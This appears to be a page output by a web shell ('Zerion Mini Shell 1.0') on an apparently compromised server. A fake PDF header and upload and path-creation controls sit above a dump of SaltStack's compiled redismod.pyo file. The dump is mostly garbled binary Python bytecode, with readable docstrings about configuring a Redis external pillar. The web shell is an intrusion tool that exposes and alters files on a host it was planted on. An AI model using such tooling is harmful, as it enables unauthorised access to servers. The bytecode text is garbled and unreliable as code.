%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/pillar/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/pillar/redismod.pyo

�
���^c@@sbdZddlmZmZmZddlZdZd�Zd�Z	dd�Z
dd	�ZdS(
uw
Read pillar data from a Redis backend
=====================================

.. versionadded:: 2014.7.0

:depends:   - redis Python module (on master)

Salt Master Redis Configuration
===============================

The module shares the same base Redis connection variables as
:py:mod:`salt.returners.redis_return`. These variables go in your master
config file.

* ``redis.db`` - The Redis database to use. Defaults to ``0``.
* ``redis.host`` - The Redis host to connect to. Defaults to ``'salt'``.
* ``redis.port`` - The port that the Redis database is listening on. Defaults
  to ``6379``.
* ``redis.password`` - The password for authenticating with Redis. Only
  required if you are using master auth. Defaults to ``None``.

Configuring the Redis ext_pillar
================================

    .. code-block:: yaml

        ext_pillar:
          - redis: {function: key_value}

i(tabsolute_importtprint_functiontunicode_literalsNurediscC@sdtkrtStS(u6
    Only load if the redis module is in __salt__
    u
redis.get_key(t__salt__t__virtualname__tFalse(((s8/usr/lib/python2.7/site-packages/salt/pillar/redismod.pyt__virtual__*scK@s9|jd�s|t�kr"iSt�||||�S(uA
    Grabs external pillar data based on configured function
    u_(t
startswithtglobals(t	minion_idtpillartfunctiontkwargs((s8/usr/lib/python2.7/site-packages/salt/pillar/redismod.pyt
ext_pillar3suredis_pillarcC@std|�}|dkr1itd|�|6S|dkrRitd|�|6S|dkr�td|�}|sxiSitd|d	|d
�|6S|dkr�itd|�|6S|d
kr�td|�}|s�iSitd|d	|d
�|6SiS(u
    Looks for key in redis matching minion_id, returns a structure based on the
    data type of the redis key. String for string type, dict for hash type and
    lists for lists, sets and sorted sets.

    pillar_key
        Pillar key to return data into
    uredis.key_typeustringu
redis.get_keyuhashu
redis.hgetallulistu
redis.llenuredis.lrangeiiuseturedis.smembersuzseturedis.zcarduredis.zrange(R(R	R
t
pillar_keytkey_typet	list_sizetset_size((s8/usr/lib/python2.7/site-packages/salt/pillar/redismod.pyt	key_value=s(cC@sitd|�}|siStjjj|�}t|t�rI|rI|S|sZi|d6Si||6SdS(u�
    Pulls a string from redis and deserializes it from json. Deserialized
    dictionary data loaded directly into top level if pillar_key is not set.

    pillar_key
        Pillar key to return data into
    u
redis.get_keyuredis_pillarN(Rtsalttutilstjsontloadst
isinstancetdict(R	R
Rtkey_datatdata((s8/usr/lib/python2.7/site-packages/salt/pillar/redismod.pytkey_json`s
(
t__doc__t
__future__RRRtsalt.utils.jsonRRRR
RtNoneR(((s8/usr/lib/python2.7/site-packages/salt/pillar/redismod.pyt<module> s			#

Zerion Mini Shell 1.0